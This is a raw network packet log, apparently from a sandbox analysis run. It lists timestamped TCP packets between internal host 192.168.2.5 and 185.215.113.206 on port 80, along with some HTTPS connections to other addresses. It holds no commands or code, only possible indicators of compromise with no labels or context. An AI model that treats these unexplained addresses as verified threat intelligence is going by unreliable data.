Nov 22, 2024 00:11:56.365998983 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.366074085 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.366246939 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.366647005 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.366703987 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.366779089 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.366822004 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.367654085 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.367718935 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.367737055 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.367809057 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.368733883 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.368804932 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.368843079 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.368885040 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.369864941 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.369957924 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.369959116 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.370250940 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.370951891 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.371066093 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.371098042 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.371109962 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.372075081 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.372128010 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.372164965 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.372204065 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.373143911 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.373209953 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.373286963 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.373445988 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.374207973 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.374264002 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.374480963 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.374536037 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.375299931 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.375364065 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.375459909 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.375500917 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.376410007 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.376477003 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.376513004 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.376554012 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.377535105 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.377608061 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.377629995 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.377842903 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.378597021 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.378720045 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.378803968 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.379673958 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.379733086 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.379753113 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.379798889 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.380755901 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.380811930 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.380856991 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.380899906 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.381887913 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.381946087 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.381994963 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.382971048 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.383023024 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.383064032 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.383109093 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.383147955 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.384046078 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.384150028 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.384157896 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.384218931 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.385165930 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.385219097 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.385272980 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.385315895 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.386243105 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.386373043 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.386568069 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.386642933 CET	49875	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:56.386662960 CET	443	49875	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:56.386672974 CET	49875	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:56.386679888 CET	443	49875	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:56.387347937 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.387398005 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.387434959 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.387480974 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.388478041 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.388537884 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.388582945 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.388626099 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.389525890 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.389579058 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.389882088 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.389926910 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.390664101 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.390759945 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.390819073 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.391731977 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.391803026 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.391859055 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.391907930 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.392832041 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.392894983 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.392932892 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.392976046 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.393918991 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.393974066 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.394030094 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.394081116 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.395052910 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.395118952 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.395199060 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.395242929 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.396120071 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.396186113 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.396224976 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.396267891 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.397197008 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.397260904 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.397360086 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.397483110 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.398308992 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.398366928 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.398412943 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.398454905 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.399398088 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.399504900 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.399530888 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.399631023 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.400532007 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.400593042 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.400618076 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.400733948 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.401613951 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.401719093 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.401823997 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.402682066 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.402790070 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.402837038 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.403256893 CET	49889	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:56.403286934 CET	443	49889	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:56.403796911 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.403877974 CET	49889	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:56.403932095 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.403943062 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.404136896 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.404284000 CET	49889	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:56.404305935 CET	443	49889	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:56.404869080 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.404927015 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.404948950 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.404995918 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.405970097 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.406083107 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.406133890 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.407108068 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.407207012 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.407254934 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.408191919 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.408293009 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.408324003 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.408345938 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.409271002 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.409403086 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.409452915 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.410375118 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.410551071 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.410619974 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.411468029 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.411556959 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.411631107 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.412576914 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.412643909 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.412695885 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.412734985 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.413646936 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.413697958 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.413723946 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.413753033 CET	443	49881	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:56.413754940 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.414287090 CET	49881	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:56.414305925 CET	443	49881	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:56.414742947 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.414748907 CET	49881	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:56.414753914 CET	443	49881	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:56.414819956 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.414860964 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.414911985 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.415842056 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.415936947 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.415977001 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.416078091 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.416902065 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.416979074 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.417022943 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.417068958 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.418037891 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.418092966 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.418131113 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.418179035 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.419142008 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.419229984 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.419235945 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.419279099 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.453851938 CET	443	49880	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.453870058 CET	443	49880	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.453958035 CET	49880	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.453984976 CET	443	49880	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.454106092 CET	443	49880	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.454194069 CET	49880	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.455787897 CET	49880	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.455806017 CET	443	49880	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.473458052 CET	443	49877	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.473515987 CET	443	49877	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.473577023 CET	49877	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.473608971 CET	443	49877	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.474419117 CET	443	49877	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.474560022 CET	49877	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.491120100 CET	49877	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.491138935 CET	443	49877	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.562536955 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.562597990 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.562789917 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.562843084 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.563088894 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.563146114 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.563180923 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.563227892 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.564311981 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.564328909 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.564387083 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.565020084 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.565041065 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.565084934 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.565135002 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.567112923 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.567167997 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.567202091 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.567246914 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.567702055 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.567779064 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.567806005 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.567852974 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.568785906 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.568836927 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.569169044 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.569231987 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.569273949 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.569324017 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.570271969 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.570323944 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.570358038 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.570400953 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.571372986 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.571423054 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.571558952 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.571610928 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.572453976 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.572588921 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.572645903 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.573596001 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.573664904 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.573724031 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.573772907 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.574683905 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.574723005 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.574769974 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.575758934 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.575809956 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.575818062 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.575922966 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.576833010 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.576895952 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.576936960 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.576982975 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.577801943 CET	49890	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:56.577837944 CET	443	49890	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:56.577899933 CET	49890	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:56.577950001 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.578011990 CET	49891	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:56.578022957 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.578047037 CET	443	49891	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:56.578099966 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.578207970 CET	49892	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:56.578211069 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.578236103 CET	443	49892	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:56.578238010 CET	49891	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:56.578455925 CET	49893	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:56.578483105 CET	443	49893	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:56.578500986 CET	49892	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:56.578545094 CET	49893	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:56.578567028 CET	49894	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:56.578577042 CET	443	49894	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:56.578684092 CET	49894	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:56.578893900 CET	49895	443	192.168.2.5	18.173.219.113
Nov 22, 2024 00:11:56.578916073 CET	443	49895	18.173.219.113	192.168.2.5
Nov 22, 2024 00:11:56.578982115 CET	49895	443	192.168.2.5	18.173.219.113
Nov 22, 2024 00:11:56.579057932 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.579092026 CET	49890	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:56.579107046 CET	443	49890	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:56.579118013 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.579185963 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.579221010 CET	49891	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:56.579233885 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.579236984 CET	443	49891	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:56.579379082 CET	49892	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:56.579391003 CET	443	49892	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:56.579592943 CET	49893	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:56.579607964 CET	443	49893	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:56.579746962 CET	49894	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:56.579756021 CET	443	49894	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:56.579869986 CET	49895	443	192.168.2.5	18.173.219.113
Nov 22, 2024 00:11:56.579885960 CET	443	49895	18.173.219.113	192.168.2.5
Nov 22, 2024 00:11:56.580121994 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.580173969 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.580199003 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.580245972 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.581223965 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.581274986 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.581343889 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.581396103 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.582330942 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.582436085 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.582506895 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.583487988 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.583548069 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.583559036 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.583622932 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.584578037 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.584646940 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.584692001 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.584743023 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.585594893 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.585692883 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.585714102 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.585762024 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.586710930 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.586771011 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.586819887 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.586867094 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.587830067 CET	80	49788	185.215.113.206	192.168.2.5
